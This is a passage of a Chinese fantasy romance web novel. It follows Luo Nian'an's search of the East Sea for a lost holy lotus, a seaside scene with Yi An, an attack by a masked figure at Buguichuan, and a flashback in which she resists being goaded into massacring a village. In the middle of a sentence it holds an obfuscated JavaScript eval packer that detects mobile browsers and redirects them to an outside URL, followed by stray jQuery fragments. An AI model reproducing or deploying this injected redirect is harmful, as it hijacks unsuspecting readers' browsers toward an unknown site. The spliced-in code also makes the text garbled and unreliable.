锦和道：“施法失败，圣物枯竭，我扔了。” 洛念安问：“真君可还记得扔到了哪里？我好去寻一寻。” 锦和侧目看向她：“东海之中，殿下且去寻吧。” 洛念安眨了眨眼，合上嘴巴。 锦和又道：“若是它还有用，我自不会冒险再去第二次。” 洛念安点点头，问道：“那你为何第一次时不直接全都盗走？” “......” “......” 有理，但有点奇怪。 锦和沉默了一会儿，道：“当时没想那么多。” “好吧。”虽还是觉得哪里有些奇怪，但洛念安接受这个说法。 见这边分歧停止，洛君逸开口道：“锦和的职位暂劳烦明修真君担任。”他看向明修，“真君，可否？” 明修擦了擦额头上不存在的虚汗，道：“既如此，老夫这把老骨头就暂时上前顶一顶吧。” 原本已经退居后位，悠闲自在，如今又被迫抬到一线上来了。不过如今年关将近，神界事务繁杂，除了他，没人能突然顶到这个位子上了。 洛君逸点头，出声道：“暂由明修真君担任，年后再从后辈中选拔。” 众文职上神应道：“是。” 锦和退下，虽然十分突然，但对他们来说，这也是个上位的难得机会。 60. 碧海飞鸟夕阳沙滩 “珈洛，你果然没有让我失望” 洛念安离开紫微大殿时，这句话萦绕在耳边久久无法散去。她端立在高台之上，看着众神散去，看着锦和被神兵带着往天牢的方向走去。她莫名回首，洛君逸依旧坐于高位，低垂着眸，正一瞬不瞬地注视着她。 洛念安微微颔首，迈步离开。 和柳渊他们打了声招呼，洛念安回到玉兰观，正见着易桉如之前那样仰躺在椅子中闭目假寐。她一现身，他便睁开眸子看过来，随即扬起笑容：“姐姐。” 听到声音，叶蓉从屋内探出头来。 洛念安弯起唇角：“等很久了吧。” 易桉起身道：“我最擅长的事情就是等姐姐。” 他一贯会说这样的漂亮话，洛念安听着轻声笑了笑，抬步往里走：“还没吃饭呢吧？” 叶蓉适时开口：“王上已经做好饭了，在锅里热着呢，我现在就端出来。” “好。”洛念安四下看了一圈，小白又一小只孤零零地待在窝里，她问道，“阿离走了吗？” 易桉道：“嗯，带回去喂了吃食。” “这样啊。”洛念安迈步进屋，上前帮叶蓉端菜，顺便问道，“可还顺利？” 叶蓉嘻嘻笑道：“自然是顺利的。” 洛念安道：“那便好。” 席间，洛念安简单说了一下殿议的结果：“锦和被剥去神位关入天牢，他的位置暂由明修接替。” 易桉哼笑一声：“一大把年纪还要拉回来上任，神界也就这样了。” 叶蓉抓住机会拍马屁：“就是，看看我们鬼界，看看我们王上，多么年轻有为，鬼界在王上的领导下一定前程似锦。”此时，她十分庆幸自己这些年读了些书，不然这样漂亮的话是绝对说不出来的。 易桉夹菜的动作一顿。 洛念安忍着笑意看向易桉，点头道：“是啊是啊。”她又看向叶蓉，“说得好。” 易桉面上并无其他的神情，只是将夹起的菜放入碗中，跟着道：“说得好。” 马屁成功拍下，叶蓉满意的笑了。 吃过饭，叶蓉抢着要洗碗。洛念安抢活未果，遂道：“正好我有些事情，要出去一趟。” “姐姐要去哪？”易桉立马接道，“我没事可做，姐姐可否捎上我？” 洛念安笑了笑，道：“只是我要去一趟东海，东海神年纪大了，恐怕不经你这么一吓。” 易桉抱臂倚着门框，无所谓道：“他又不知我是谁。” 洛念安看向他，恍然大悟：“也对，那便一起吧。” 闻言易桉笑了起来：“好啊。” 有易桉在，洛念安去往东海要容易许多，不然自己结阵恐怕需要费些功夫。 洛念安与易桉进入海底宫殿，经人传报，东海神出门迎客。 “海神你好，”洛念安挂着温和的笑，“我是神界的珈洛。” 东海神是一位白胡子老头，面上挂着慈祥的笑，闻言微微一愣，“珈洛？珈洛殿下？”他抬手行礼，“哎呀，殿下大驾光临老夫真是有失远迎，都长这么大啦，你出生时我还去看过你呢。” 洛念安眨了眨眼，微笑道：“多谢你来看望我。” 她这么说，东海神便顺着接了下去：“哎呀，殿下不必客气。”他看向洛念安身侧的易桉，自然认为此人也是神界中人，便又是一礼，然后道，“殿下，还有这位神君，快快里面请。” “多谢。”洛念安一边道谢，一边跟着他往宫殿内走。 易桉似乎第一次来这里，对这海底很是好奇，四下打量着。 甫一落座，洛念安便道出了此番前来的目的：“珈洛此番前来多有叨扰，只是我需要在这东海找一样东西。” 东海神命人上了茶，然后问道：“殿下要找何物啊？若是在这东海，老夫一定为殿下找到。” 洛念安微笑道：“多谢，我要找一朵莲花。” 东海神抓胡子的手一顿，不解道：“海里怎么会有莲花呢？” 洛念安解释道：“是神界圣物，天极雪莲。” 闻言，东海神胡子一颤：“什么？！这这这，东海绝对不可能有圣物的呀。” 洛念安赶紧道：“海神不必惊慌，圣物是被他人扔进来的。” 东海神顿时松了口气：“哦哦哦，那就好那就好。”他猛地闭上嘴，连忙道，“老夫不是这个意思。” 洛念安摆摆手：“无妨无妨。此番兹事体大，还劳海神帮忙找出圣物。” 东海神道：“自然自然，老夫即刻命人去找。只是这东海浩瀚无垠，恐怕一时半会难以找到。” 洛念安道：“我知，也不急这一时半刻，无论找到还是找不到，都劳烦海神告知我一声就是。” “好好好，”东海神连连点头，“届时老夫自会登上神界告知殿下。” “不必麻烦。”洛念安道，“海神可将读神令告知我，届时传音我就是。” 东海神道：“也好也好。” 他们这边加上好友，洛念安扭头看向易桉，他正坐在那里，随手抓住一条群游至此的小鱼，捏在手上看了看，又松开，转而去看另外一群。 洛念安忍不住弯起唇角，走过去唤他：“小桉，我们走吧。” 于是易桉松开刚抓到手的小鱼，转而看向洛念安，露出笑容道：“好。” 他们被东海神送至神殿外，来来回回又是留客又是道谢，拉扯好几句才迈步离开。 路上，洛念安问道：“小桉是第一次来这里吗？” “嗯，”易桉道，“想这海神担任闲职，身居一隅，倒也逍遥自在。” 洛念安笑了笑：“是啊。” 他们有意放慢脚步，甚至饶了弯，在这阵法范围内闲逛起来。 易桉侧目看向她：“姐姐不信他？” 洛念安笑了笑：“总要弄清楚才能放心些。”她伸手拦截游到面前的小鱼，又放它自由，然后道，“只是我总觉得锦和的态度十分奇怪。” “嗯？”易桉又将她放走的那条小鱼拦截下来。 洛念安的视线落在那条小鱼身上，道：“他既无悔意，被抓住后，也不似这条小鱼一般恐惧挣扎，而是一副无所谓的样子。他蛰伏这么多年，计划落空，竟无半分情绪，当真奇怪。” 易桉松手放走那条鱼，问道：“念清漓会设法助他离开吗？” 洛念安怔了怔，侧目看向他。 易桉对上她的视线，道：“只是猜测。” 洛念安道：“我不确定，但是若是她这样做，那天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895852|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帝岂不是会知道他们......” 易桉弯了弯唇，没有出声。 洛念安直觉头痛，便不再去想这件事，待她回神，见到易桉身边围了许多种类的小鱼，她探过身子看向他，笑吟吟道：“这些小鱼似乎很喜欢你。” 易桉挑眉望着她道：“姐姐难道没有听说过，我可驱使百兽？” “听说过，”洛念安直起身子道，“我们初遇那晚，还有，九天郡的那处深山里。” 易桉笑了笑，忽然道：“不是初遇。” 洛念安尚未反应过来：“嗯？什么？” 易桉却看向她道：“姐姐，我们出去吗？” 虽不知他为何忽然这样提议，但他们已经在这里转了大半圈，于是洛念安点头应道：“好啊。” 他们离开海底，回到海岸边。海水一望无际，与天相接。海浪翻滚，涌上海滩，击打着岸边礁石。 洛念安望着远处，听着海浪声不绝于耳，忍不住道：“我更喜欢岸上的景色。” “这样巧，”易桉在她身侧道，“我与姐姐一样。” 洛念安弯起唇角，侧目对上他的视线，又移开，回到海面上。片刻无言后，她道：“上次来到海边，还能看见海面上飞翔着几只海鸟，这次倒是一只都见不着了。” 易桉从她面上移开视线，随她一起望向海面，他只是笑着，并不语。 片刻后，洛念安的视线中忽然闯进几只飞鸟，愈飞愈近，她尚未反应过来，飞鸟便填满了她的视野。正是她方才说的，她想要见到的海鸟。 洛念安睁大双眸，她从未见过如此多的海鸟同时飞翔在海面上，那场面之震撼，让她忍不住握上身侧易桉的手臂，兴奋道：“小桉！你快看！有许多海鸟！” “嗯，”易桉语调微扬，“看到了。” 说话的功夫，海鸟似乎占满了海面，它们在海上飞翔盘旋，从西边飞向东边，又从东侧飞回西侧。海鸟扑腾翅膀的声音似乎掩盖住了海浪声。 震惊半晌，洛念安才反应过来，扭头看向身侧的易桉，正好撞入他的视线：“是你。” 易桉正笑吟吟地望着她：“是我。” 心脏似乎猛地跳动了一下，震得洛念安脑袋发懵。握在手臂上的手无意识滑下，易桉的手指微动，片刻后，忽然将她的手捏在手心。 他的手掌明明冰凉，却烫的洛念安忍不住蜷缩起手指，如此，便向是反握住他一般。 她的大脑如同眼前飞满的海鸟般一片空白，尚来不及思考，便被易桉带着向前奔去。 他们在海边奔跑着，似乎在追逐身前连片的海鸟，而他们也同样被成群的海鸟追逐着。 洛念安忍不住伸出另一只手，有海鸟飞过，在她手心里停留片刻便振翅滑过。 一只，两只，无数只。 他们并排躺在海滩上，白浪打不到的位置。成群的海鸟依旧在天空中列队盘旋。火红的夕阳挂在海天交界处，天空和海水都映成橘红色。 洛念安惬意地欣赏着眼前之景，忽然想起什么，扭头对身侧的易桉道：“我曾来过这里，也像现在这样，在海滩上躺了一下午，直至夕阳西下。不过那时，天上没有这样多的海鸟，也没有你。” 易桉望着她，轻声道：“我知道。” 61. 惜别离共约巴蜀郡 “上次说这件事情了解，便一起去巴蜀郡，就明日如何？你可有空？” 临分别时，洛念安提议道。 “好啊，”易桉道，“我都有空。” 洛念安牵起嘴角：“那便这样说定了。” “嗯，”易桉立在门口，柔声道，“姐姐快进去吧，早些休息。” 洛念安望着他：“好，那明天见。” 易桉扬唇笑着：“明天见。” 一直看着易桉离开后，洛念安才转身进屋，一进去便见到叶蓉正耳朵贴着窗户的缝隙，好似在偷听。 洛念安关门的动作一顿，视线相接时莫名心虚道：“那个，小蓉，我们明日去巴蜀郡游玩，你明日正好无事，不如一起吧？” 闻言，叶蓉连连摆手：“不不不，我不去啊，我明日......有点事情，你们去就好了。” 洛念安记得她明日似乎没有公事可做，转念一想，说不定人家有自己的私事呢？便作罢，道：“好吧，那我明日给你带些东西回来。” 叶蓉笑道：“好。” 只是她那贼兮兮的笑容，洛念安怎么看怎么奇怪。 第二日，洛念安起了个大早，换上前两日和叶蓉一起出门买的新衣，洗漱完后，出去扫了院子，又清理了一番小白的小窝，去河边洗了衣服晾好，回来叶蓉还在睡着。 她轻手轻脚地进屋，坐在铜镜前，视线一转，落在摆放在桌面上上次没用完的胭脂水粉上。洛念安平日里完全不用这些，叶蓉心情好时偶尔会打扮打扮自己。她伸手，从锦盒中拿出那支镶嵌着粉宝石的钗子簪在发间，满意地看了看铜镜中的自己，视线又再次落在了那些胭脂水粉上。她鬼使神差地伸出手，刚抚上其中一个小盒子，忽闻一声：“洛姐姐，你今日起这么早。” 洛念安猛地缩回手，她实在搞不懂自己到底在心虚些什么。回过头，看向坐起身的叶蓉，笑了笑，佯装淡定道：“是啊，醒了便起来了。” 叶蓉看了看她，忽地扬起唇角，调笑道：“哟，这支簪子都舍得戴啦？” 洛念安笑容一僵，无意识抬手抚了上去，她道：“我是想着若只是摆在那里看着，实在是暴殄天物。” 叶蓉“嘿嘿”笑了一声，一边掀开被子下床一边道：“我都懂~” “......” 她懂什么？反正洛念安是不太懂。 叶蓉跑出去洗漱一番回来，看着她，笑得和昨晚一样贼兮兮的：“洛姐姐，不如我来帮你梳妆？” “不不......”洛念安慌乱道，“不用了不用了。” 叶蓉扶上她的肩膀，对着铜镜看着她道：“别不好意思嘛。” 洛念安依旧慌乱：“没，没不好意思。” 叶蓉一副看透她的神情：“好好好，就当是我想要练手，洛姐姐你配合我一下嘛。” 洛念安眨眨眼睛，无奈笑了笑，道：“好，那个......随意一些就好。” “明白。”叶蓉对镜一笑，伸手拿起木梳，想要重新为她梳发。 木梳刚拿起，洛念安忽然敛了笑意，侧目往门边看去，赫然见到洛君逸悄无声息地立在门口。 他的到来让洛念安真真意外，惊讶之余心中还闪过几丝莫名的恐惧。她连忙制止叶蓉，站起身冲洛君逸行礼道：“帝君。” “帝君？”叶蓉愣了一下，反应过来门口的人到底是谁后，慌忙往洛念安身后躲，紧张地抬手抓住她的裙摆。 洛君逸身量很高，尽管立于平地，仍旧是居高临下地望着她，出口的声音低沉：“珈洛。” 洛念安注意到他的视线落在了身后叶蓉的身上，微微侧身将她挡的更加严实：“不知帝君大驾，珈洛有失远迎。” 洛君逸的视线重新落在她身上，这样客套的话，他并不应答。 洛念安忙道：“帝君里面请。” 闻言，洛君逸才迈步进了小屋，他立在门口四下略扫一眼。 洛念安走到木桌旁，挪出椅子，随意擦了擦上面本不存在的灰尘，示意道：“帝君请坐。” 洛君逸移到桌边坐下，瞥了一眼洛念安递来的茶，目光投向那张破旧的供桌上立着的牌位，牵了牵唇角，出声道：“自己供自己？” 洛念安立在一边，闻言连连摆手道：“不是，是村里的村民。” 洛君逸的视线扫过牌位前那块干瘪的馒头，又落在洛念安身上，示意她：“坐吧。” 叶蓉亦步亦趋地跟在洛念安身后，见这位神界的老大注意力似乎并不在自己身上，赶紧找机会溜了。 “是。”洛念安看了一眼叶蓉逃之夭夭的背影，挪到对面坐下，双手规规矩矩地置于膝上。虽不知洛君逸前来的用意，但这样单独面对他，她总有些紧张。 洛君逸的目光落在她身上，好半晌，忽然道：“发簪不错。” 洛念安愣了愣，心中闪过错愕，一时弄不懂他的意思，只能道：“多谢帝君夸奖。” 洛君逸又道：“我知道，你在怪我。” 洛念安垂下眸：“不敢。” 洛君逸的视线实在灼人，洛念安只能低垂着眸，一小会儿就发现桌子上破了好几个缺口。 过年时要把它好好修补修补。 洛念安这么想着，忽闻洛君逸一声叹息：“罢了。”他继续道，“今日前来，有要事要交付与你。” 洛念安当然不会觉得洛君逸来这里找她是为了拉家常，于是将本就直挺的身子坐得更直：“帝君请讲。” 洛君逸拾起缺了个口的茶杯，垂眸看了一眼，将缺口转至一侧，小抿一口，然后道：“近日不归川有异动，你今日前去，查看一番。” 洛念安懵然抬眼，看向他道：“不归川？” “嗯。” 听到这个地名，洛念安忍不住晃神，那里是改变她命运的地方。 “可是......”她抿了抿唇，终是道，“不归川异动，帝君前去查看岂不更加稳妥？” 洛君逸道：“我本打算前去，只是，无量狱那里出了些状况，我现下需亲自赶往无量狱重设封印。” 洛念安道：“上次我进入无量狱，如今里面似乎并无何厉害的妖鬼。” 洛君逸望向她：“你是只身前往的吗？” “......”洛念安低眼，她知道洛君逸这句话并 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“没啊，”叶蓉道，“他好像施了法，我一点声音都听不到。” 洛念安点点头，颇有些失魂落魄地往屋内走，走到一半，忽然停下来，对叶蓉道：“对了，我现在要出任务，十分紧急。麻烦你赶去安乐殿告知小桉一声，今日恐怕没法去巴蜀郡了。” 话说到这里，心里的失落越胀越大，渐渐将她整个人都笼罩起来。 顿了顿，她似在安慰自己一般，喃喃开口：“下次再约，反正时间还长，也不急这一时半刻。” 叶蓉连连点头：“好好，我这就去告知王上。洛姐姐你也别太难受，大不了明日再去嘛，不着急。” 洛念安扯了扯嘴角，道：“知道了。你先去吧，别让小桉等着急了。” “那好，”叶蓉道，“我去了，洛姐姐你出任务要小心哦，一切顺利。” 洛念安继续扯着嘴角：“好。” 目送叶蓉离开，洛念安轻轻叹了口气，回到屋内背上装着龙吟枪的麻袋，然后转身离开玉兰观。 不归川，位于神界天河的尽头，河水奔腾，却在尽头形成一汪平静的湖水，名为不归湖。女魔颜无双的残魂镇压其中。 跨过结界，洛念安步于峡谷之中，两侧陡峭，崖壁呈七彩之色。 她右手握着龙吟，缓步往前。不归川不分四季，时而大雨倾盆，时而大雪纷飞，时而枝桠疯长，时而落叶飘飘。这里地势虽复杂，但五百年过去，她仍旧清晰地记得，哪条路会通往不归湖。 往前行进一段，虽艳阳万里，却忽然落下倾盆大雨，洛念安从身后抽出那把油纸伞，打开，撑在头顶。 伞面上的那朵血红的小花在艳阳下似发着光。 又往前行进了一段，雨停了。洛念安停下来收起伞，施法净了伞面，又好好地将伞装入麻袋之中。 雨声消散，四下都静悄悄的，这里除了草木，并无其他任何生灵。 洛念安立在那里，正装着伞，忽闻身后传来一声： “好久不见，珈洛。” 62. 不归川遇笑面怪人 洛念安神色一凛，身子僵直。她紧抿着唇，唇上红色褪去，半晌，才缓缓转过身去，眼前赫然出现一张惨白的笑面。她定定地盯着她，忽地弯唇笑了笑：“确实，许久未见。” 洛念安垂下眸，将伞放入麻袋装好，又背在背上，抬眼看了看她，转身走到路边的一块岩石上坐下，将龙吟插入身侧的土地中，转而看向面对着她的笑面人：“最近挺忙的？” 那张笑面具纹丝不动，洛念安却能明显感觉到她身子一僵。面具下发出轻笑声，有些冷，笑面人无声飘到洛念安身边，蹲下，宽广的道袍盖住她整个身子，她道：“是有些忙。” 闻言，洛念安点点头，道：“忙点好，忙点好。”她顿了顿，又道，“我也忙，我现在就有事要做。” 她话中赶人的意思明显，笑面人笑了笑，声音有些瘆人：“看样子新人在侧，倒是要忘记我这个旧人了。”她侧过脸来，“珈洛，我很伤心。” 洛念安面无表情道：“我很抱歉。” 几个字真真毫无诚意。 “但是，”洛念安继续道，“我真的有事情。” 她说着便站起身，笑面人也跟着起身。 洛念安纳闷看向她。 笑面人道：“我陪你。” 洛念安伸手去拿龙吟，微微一笑，道：“谢谢，不过不用了。”她补充道，“你离我远些，我做事更快，也更好。” 笑面人呵呵笑出声，突然，笑声戛然而止。 洛念安双目圆睁，眼眸向下，不可置信地盯着她掐住自己脖颈的那条胳膊，连呼吸都顿住。 下一刻，脖子上的力道忽然松了几分，那张面具往下侧了侧，瞥了一眼身体被龙吟刺穿的窟窿，她轻笑一声，道：“珈洛，你好狠心啊~” 洛念安趁机挣脱了她的禁锢，抚上脖子弓腰咳了几声，才缓缓侧目看向她：“你？！” 她竟然能碰到她？！ 洛念安心中满是惊疑。 笑面人却是笑着，云淡风轻道：“很意外吗？” 洛念安看着她的伤口以肉眼可见的速度愈合，恢复如初，震惊地说不出话来。她握紧手中的龙吟，好半晌，才找到自己的声音：“所，所以，不归川的异动，就是你？” 面具下的人但笑不语。 洛念安凝目道：“你到底是谁？！” “哈哈哈哈哈......”她忽然放声大笑，诡异的笑声在山谷中回响，“我记得，这个问题，五百年前你曾问过我。珈洛，你我相识五百年，期间你从未再问过我是谁，怎地如今又突然想知道了？” “我......”洛念安面上浮现迷茫。 在她愣神之际，笑面人正缓缓地靠近她。 待洛念安从记忆中回神，忽见那张惨败的面具就在眼前，惊得迈步后退。然而却晚了一步，那只冰冷的手再次覆上了自己的脖颈，笑面人阴森森道：“珈洛，”她停顿了一会儿，继续道，“你真是不争气。” 她手上的力道逐渐加重，直至将洛念安提离地面。 洛念安不知她何出此言，只抓上她的手，可无论她使出多大的力气，那只手都纹丝不动。她尝试抛出龙吟，可出招却被对方轻松躲过。远远飞出，插在地上不动。洛念安伸手，尝试召唤龙吟，却不知为何，它待在那处，如何都不动了。 洛念安心中大骇。慢慢地，她吸不上气了，那张惨白的面具上出现了黑点，越来越多，越来越密。 此处虽受神界管辖，但为神界禁地，平日里根本不会有人过来。 她想传讯，可现下根本无法开口说话。黑点几乎要充斥整个眼眶，洛念安心绪微转，想伸手摸上坠在颈间的玉骨哨，心底却忽然漫出一丝恐惧，眼前人实力不凡，她担心...... 思绪流转间，一声鹰啼忽然震破长空，一片巨大的阴影笼罩下来，飞速向前。 笑面人似也微微一愣，抬头往上看去。 就在这时，洛念安的眸光里忽现一抹银光，一闪而过，瞬间刺穿笑面人的右肩。她似乎真的吃了一痛，瞬间松开掐住洛念安的右手。 洛念安得了自由，连连后退，却忽然撞入一个温暖又结实的怀抱。 易桉一手揽她，另一只手接下断魂，视线却紧紧盯着洛念安的脖间。 洛念安抬头望他，见他双眉紧蹙，面色不虞，正欲开口劝慰，却是没能说出话来。 那头，笑面人侧头看了一眼自己的右肩，那处的伤口正往外冒着黑烟。她又抬头，那双笑眯眯地眼睛似乎正看着易桉手中的断魂剑，转而又看向易桉，她哈哈笑了一声，道：“好剑。” “......”闻言，洛念安看向她，一时也分不清她到底是在骂人，还是在夸断魂。 易桉不关心这个，只关心她脖子上的伤势。 笑面人浑然不在意这份冷落，依旧自顾自道：“又见面了，小朋友。” 她在跟谁说话？ 洛念安愣了愣，在场的除了他们，只剩下身后的苍了。 她这句话总不会是跟苍说的吧？ 她看向易桉，而身侧的易桉在听见那句话后明显身体一僵，须臾，缓缓转头，视线落在那张阴森的面具之上。 “哦，”笑面人似乎未曾察觉现场微妙的气氛，“现在不能说是小朋友了，你长大了，甚至，成了一位厉害人物。呵呵呵......真是让人没想到啊。你不要这样看着我嘛，怎么说我们也算就相识了。想当初，你和......” “闭嘴。”易桉突然冷喝出声，硬生生打断了笑面人的话。 洛念安也被吓了一跳，虽然十分想要知道她后面会说什么，理智却告诉她还是不要太好奇得好。 但她真真没想到，笑面人竟然会和易桉认识。 笑面人似乎并不恼，甚至笑出了声：“有趣，你的性子倒是一点没变。” 看来不仅认识，应当也算熟悉。 “姐姐，”易桉语气变换很快，面向她时一如以往般轻柔，“我们走。”他说着，便带着洛念安转身。 苍正立在他们身后，喙里叼着龙吟。 易桉动作很快，似在逃避什么 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洛念安看不懂他眼底的情绪，但能感受到他现在很不高兴，于是开口安慰道：“其实没事的，一点都不疼。” 易桉上药的动作微微一顿，纱布轻轻点在淤青上。只是这样，洛念安便忍不住咬紧牙关。 易桉抬眸看向她，半晌，轻叹道：“上些药，好得快些。” 洛念安没有出声，只是抬高下颚，方便他动作。 处理好伤势，易桉随手整理着托盘内的东西。洛念安注视着他，出声唤道：“小桉？” “嗯？”易桉的视线随之移来。 洛念安道：“你似乎，不太高兴。”他从回来到现在，一直都一副心事重重的模样，几乎不见笑容。 闻言，易桉轻轻一笑，继续整理着手上的东西，道：“有吗？” 洛念安却转而问道：“你与她竟然认识吗？” 易桉停下动作，将托盘推至远处，侧目过来看向她：“不熟。不是什么好东西。” 洛念安微微一愣，垂首盯着自己放置膝盖处的手指，半晌，才道：“竟是这样。这么多年，我一直以为，她只是我的心魔。” “很多年吗？”易桉轻声问道。 “什么？”洛念安一时未反应过来。 “她一直在你身侧？”易桉深望着她。 洛念安放在膝盖上的手指微微蜷起，顿了顿，她道：“五百年前，她曾出现在我的梦中，引诱我闯入不归川。后来我被贬下界，她便时常出现在我身边，特别是在我受挫的时候，她总是在我耳边说一些风凉话。”她抿了抿唇，继续道，“那时年轻气盛，听不得那些丧气话，总觉得备受打击，便想与她一较高下。可是，我从来没有碰到过她。她也从不说自己到底是谁，时间长了，我便放弃了，也习惯了。我一直以为她只会出现在我身边，因为她出现在我身边的次数太多了，而且每次都会赶在我失意之时，除此之外，并未对我造成其他实质性的伤害，久而久之，我便以为是我的问题，是我内心的恶念......化成了她。” 63. 雨中迷心得油纸伞 将师父安葬入土那日，天地间大雨倾盆。 瓢泼的雨打湿了新翻出的泥土，也浇灭了燃烧的纸钱。 洛念安笨拙地以身子遮挡，浓烟呛得她泪水混杂着雨水哗哗落下。 她忽然失去了方向，跪在坟前，尽显迷茫。 她不知接下来的路该如何走，她该去往何处，又该过怎样的日子。一如当初失去洛太初那样。 “她死了？” 一道阴冷的声音打破沉寂，穿破噪人的雨声入耳。 洛念安一动不动地跪着，并不搭理。 “我早就说过，珈洛，你始终都是被亲族抛弃的命。你身边的人都会不得好死，比如，那个小孩子。” “闭嘴！”洛念安抄起龙吟，看也不看，便往声音传来处刺去。 却是刺了个空。 那张面具仍旧笑意盈盈的，半寸不移地飘在那里。面对洛念安的盛怒，她只是轻飘飘地笑了几声，声音轻柔却阴冷：“珈洛，你不要这样生气。” 又是这句话，洛念安手背上青筋暴起，面对着眼前这个虚伪至极的人却是毫无办法。 “你何苦这样生我的气，害死你师父的又不是我，你应该去找真正的凶手，为你师父报仇啊。” 闻言，洛念安将手中的龙吟一扔，又直挺挺地跪了回去。 大雨淅淅沥沥，打得人睁不开眼。 笑面人飘至她身侧，在她耳边道：“珈洛，我早就说过，虚伪的凡人不值得你拯救。人各有命，是非善恶终有报。生即生，死便死。你救了他们的女儿，然后呢？他们却杀了你的师父，你难道忘了她死时那血肉模糊的样子了吗？她是被他们用锄头、铁锹活活打死的啊！” 那一句句低语，如同刀片一般，一片接一片地剜下心上的血肉，混着泪水，模糊不堪。 她的指甲深深陷入手心，却毫无知觉。 “你师父教授你一身武艺，你却连为她报仇都不敢，还有何用？” 洛念安忍无可忍道：“别说了。” “她有多痛啊？多绝望？多无助？” 洛念安瞪向她：“我说别说了！” “那就为她报仇啊，”那张可怖的面具上的笑容似乎加深，“杀了他们，杀了那些愚蠢的凡人，为你的师父报仇。” 龙吟不知何时莫名回到了她的手上，洛念安握着龙吟，手有些发抖，她抿着唇，半晌才道：“我不知他们是谁。” “他们无非就在那片地方，都杀了不就好了。”笑面人轻轻靠近：“珈洛，你的师父还在这里看着你呢。你不会眼睁睁看着她，白白死去的吧？”顿了顿，她又道，“去吧珈洛，去做你该做的事情。” 大雨依旧如瓢泼一般。 龙吟随着洛念安的前进，在地上划出一道深深的划痕。 小村中四下无人，这样的雨，百姓都会躲在家中，并无人出门劳作。 她似着了魔一般，缓步往前行进。脑中一直不断重复着： “报仇。” “杀了他们。” “报仇。” “杀了......” 她停在原地，视线落在身侧的房屋上，又看向另一侧，喃喃低语：“从哪个开始好呢？” 洛念安举起龙吟，枪尖指向右边，嘴里念着：“点兵点将......”枪尖又指向左侧，突然指中一位妇人。 那妇人举着一把白的发黄的油纸伞，立在院门口，正小心翼翼地望着她。突然被长枪指中，吓得她惊呼一声，往后小退一步，左手一个劲儿地抚着自己的心口。 本来门口突然站着一位披麻戴孝的女子就已经很诡异了，她还拿着长枪指人。 那妇人到底没有被吓跑，一手扒着院门，虽害怕，但对上洛念安的视线后，还是小心地开口道：“姑......姑娘，你......你是要去哪里啊？这外头正下着大雨呢，你要不进来坐坐，躲躲雨？” 洛念安愣住，越过她往院中看去，那里搭了一个小棚，棚下的桌子上还放着没有做完的针线活。 见她毫无反应，那妇人没再说话，但也没走，甚至走出院门，虽有些发怵，但还是靠近她身边，将手中的油纸伞举过她的头顶。 淅淅沥沥的雨水被截断在伞面上。 半晌，洛念安才似如梦初醒一般，将龙吟挪到身后，缓缓摇头道：“谢谢，不用了。” “老太婆，你在那里干什么？赶紧回来！也不嫌晦气！” 那妇人正欲开口，便听见身后有人骂骂咧咧。 洛念安的视线被声音吸引，就见到院中的小屋木门打开，一个男人正探出头来，面色难看。 听他这么一说，洛念安才想起自己的装扮，忙往后退了一步，离那位妇人远了一些。 那妇人回头看了一眼，又回过头来，面露难色。 洛念安见状，忙道：“十分感谢您，但是真的不用管我了，您快回去吧。” 闻言，妇人忽然抬手，抓住洛念安的手，将那把油纸伞塞进她的手中：“你拿着吧，快回家吧，这雨还不知要下到什么时候呢。你身上湿漉漉的，别再着凉了，受罪。孩子，生老病死乃人之常情，你也别太伤心。”她说完，不等洛念安反应，便转身冒着大雨跑进院中。 那男人对她招手，她便回屋去了。 洛念安在原地怔愣了许久，缓缓抬头，正见到伞面上有一朵小花，那抹红在昏暗的天地间格外显眼。 再转眼，笑面人飘在她面前。依旧是那张惨白的笑面，只是此刻，似乎笑得有些发苦。 洛念安看了看她，忽然转身，往相反的方向走去。 “你要去哪，珈洛？”笑面人跟在她身边。 洛念安看都不看她，稳稳举着伞：“陪我师父。” 笑面人提醒道：“你还没有屠了这个村子，为你师父报仇，你有脸回去？” 闻言，洛念安停下。雨水劈里啪啦地砸着伞面。 她望着她，一字一句道：“我不会屠村。” 笑面人呵呵笑了几声：“就为了，这把伞？” 洛念安摇摇头，缓声道：“我是神，就算一千个人里面只有一个人是真正的心地善良，那么他们也值得被拯救。” 这句话倒是让笑面人哈哈大笑了好一阵，她停下来，那张面具正对着她：“你是神？” 洛念安握住龙吟的手指渐渐收紧：“我乃神族后裔，终会成神。” 笑面人却满是遗憾道：“不会了，你忘了？你早已被神族抛弃。” 洛念安转身，头也不回地往前走：“他们不会抛弃我。” 笑面人阴魂不散地跟在她身边：“自欺欺人。” 洛念安猛地停下，龙吟的剑锋直抵着她：“好！就算如今，我被神族抛弃，那我也要靠我自己飞升成神！到时，我第一个灭了你！” “是吗？”笑面人森然道，“我很期待那一天呢，珈洛。” “很可怕吧？”洛念安看向易桉，他正垂着眸，不知在想些什么。 “什么？”易桉抬眼望她。 洛念安避开他的视线，小声道：“我。” 易桉弯了弯唇：“你肯定不会那样做。” 洛念安抬眼，歪头道：“可是世上事并无绝对啊，倘若没有那位夫人，说不定我真的会屠尽全村。” “那又如何，”易桉道，“你做什么都是对的。” “......”洛念安怔住，缓缓眨了下眼，心下微动。 易桉伸手，漫不经心地转动着桌上的银盏，问道：“还有吗？” 洛念安回神过来，点了点头，扯起唇角又落下：“当然。” 当年遍体鳞伤被吊于城墙上时，有人往她身上扔烂菜叶，臭鸡蛋，什么都有，边扔边破口大骂。 待她带着满身污秽，狼狈不堪地从棺材里爬出来时，眼前正是一块黑白衣袍。洛念安动作一顿，缓缓抬头，眼眸中映出那张笑面。 她问道：“为了几个凡人，值得吗？” 洛念安并未回答她，依旧卖力地往出爬，好不容易爬出来，气喘吁吁地倚靠在坟墓边，休息了一会儿，饥饿和口渴让她几近昏厥。她四下张望着，忽然瞥见坟前摆放着三个供盘，有几颗长了毛的蔫巴苹果，长绿点的馒头，还有一块生肉，同样时间长了，坏掉了。 